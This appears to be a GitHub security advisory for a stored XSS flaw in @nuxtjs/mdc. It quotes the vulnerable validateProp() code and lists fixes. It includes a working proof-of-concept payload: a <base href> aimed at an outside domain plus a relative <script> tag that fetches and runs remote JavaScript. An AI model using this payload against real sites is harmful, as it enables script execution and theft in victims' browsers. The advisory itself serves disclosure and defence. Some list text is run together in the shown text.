A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.
The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.
src/runtime/parser/utils/props.ts validateProp() inspects
on → blocked href or src → filtered by isAnchorLinkAllowed()<base>) is allowed unchanged, so the malicious href on <base> is never validated.export const validateProp = (attribute: string, value: string) => {
if (attribute.startsWith('on')) return false
if (attribute === 'href' || attribute === 'src') {
return isAnchorLinkAllowed(value)
}
return true // ← “href” on <base> not checked
}
As soon as <base href="https://vozec.fr"> is parsed, any later relative path—/script.js, ../img.png, etc.—is fetched from the attacker’s domain.
Place the following in any Markdown handled by Nuxt MDC:
<base href="https://vozec.fr">
<script src="/xss.js"></script>
npm run dev). https://vozec.fr/xss.js, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).<base> tags in the renderer. The safest fix is to strip them entirely. href on <base> to same-origin URLs and refuse protocols like http:, https:, data:, etc. that do not match the current site origin. FORBID_TAGS: ['base'].{
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-20T16:36:14Z",
"nvd_published_at": "2025-07-18T16:15:30Z",
"severity": "HIGH"
}